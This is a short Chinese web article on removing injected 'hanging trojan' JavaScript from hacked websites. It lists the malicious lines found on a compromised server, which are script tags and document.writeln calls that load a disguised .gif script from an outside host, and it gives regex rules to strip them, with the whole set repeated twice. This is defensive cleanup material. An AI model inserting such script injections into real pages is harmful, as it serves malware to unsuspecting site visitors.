JS变量挂马替换规则分享
程序员文章站
2022-03-19 12:09:37
JS变量挂马替换规则分享用户的服务器又被批量挂马，做了个清马规则，保险起见请用我们开发的网站木马清理专家的字符串替换功能批量替换，其他的工具不保证能替换干净！... 11-03-27...
网站木马清理专家全功能免费版：
挂马内容如下：
程序代码
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?krkj><\/script>");
替换规则如下：
程序代码
@document\.writeln\("<script.*9966\.org.*\/script>"\)；
挂马内容如下：
程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?vinij></script>
替换规则如下：
程序代码
@<script[^<]*9966\.org[^<]*</script>
挂马内容如下：
程序代码
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?krkj><\/script>");
替换规则如下：
程序代码
@document\.writeln\("<script.*9966\.org.*\/script>"\)；
挂马内容如下：
程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?vinij></script>
替换规则如下：
程序代码
@<script[^<]*9966\.org[^<]*</script>
推荐阅读